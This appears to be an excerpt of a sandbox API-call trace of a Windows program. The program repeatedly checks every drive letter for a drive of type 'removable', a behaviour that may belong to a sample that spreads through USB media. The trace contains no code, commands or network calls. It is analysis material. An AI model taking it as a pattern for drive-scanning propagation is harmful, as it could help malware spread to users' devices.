[0171.320] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.320] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.320] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.321] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.321] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.321] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.321] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.321] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.321] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.322] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.322] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.322] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.322] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.322] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0171.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0171.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0171.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0171.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.325] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0171.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0171.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe618 [0171.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.325] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0171.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe618 | out: hHeap=0xe80000) returned 1 [0171.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0171.325] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0171.326] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2880 | out: hHeap=0xe80000) returned 1 [0171.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0171.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0171.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.327] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.327] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0171.327] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076940 [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0171.327] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.327] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.327] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.328] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.328] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.328] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.328] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.346] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.346] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.346] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.346] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.346] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.346] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.347] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.347] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.347] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.347] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.347] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.347] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.347] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.348] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.348] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.348] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.348] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.348] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.348] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.349] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.349] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.349] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.349] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.349] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.349] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.349] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.349] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.349] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.349] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.349] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.349] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.350] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.350] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.350] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.350] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.350] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.350] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.350] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.351] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.351] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.351] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.351] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.351] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.351] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.351] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.352] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.352] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.352] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.352] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.352] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.352] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.352] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.353] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.353] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.353] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.353] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.353] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.353] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.353] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.353] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.353] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.354] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.354] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.354] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.354] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.354] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.354] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.354] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.354] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.354] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.355] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.355] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.355] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.355] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.355] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.356] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.356] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.356] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.356] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.356] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.356] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.357] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.357] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.357] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.357] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.357] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.357] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.357] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.358] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.358] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.358] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.358] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.358] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.358] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.358] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.358] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.358] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.358] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.358] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.358] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.359] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.359] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.359] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.359] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.359] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.359] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.359] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.360] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.360] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.360] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.360] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.360] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.361] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.361] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.361] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.361] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.361] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.361] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.361] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.362] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.362] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.362] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.362] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.362] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.362] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.362] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.363] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.363] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.363] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.363] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.363] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.363] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.363] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.363] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.363] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.363] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.363] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.363] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.363] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.364] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.364] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.364] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.364] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.364] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.364] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.364] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.365] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.365] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.365] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.365] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.365] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.365] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.365] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.366] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.366] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.366] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.366] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.366] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.366] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.366] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.367] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.367] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.367] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.367] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.367] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.367] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.367] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.367] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.367] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.367] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.367] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.368] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.368] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.368] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.368] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.368] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.368] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.368] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.369] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.369] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.369] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.369] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.369] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.369] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.369] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.370] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.370] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.370] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.370] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.370] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.370] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.370] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.371] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.371] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.371] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.371] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.371] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.371] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.371] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.371] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.371] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.371] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.371] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.372] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.372] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.372] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.372] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.372] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.372] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.372] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.373] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.373] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.373] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.373] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.373] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 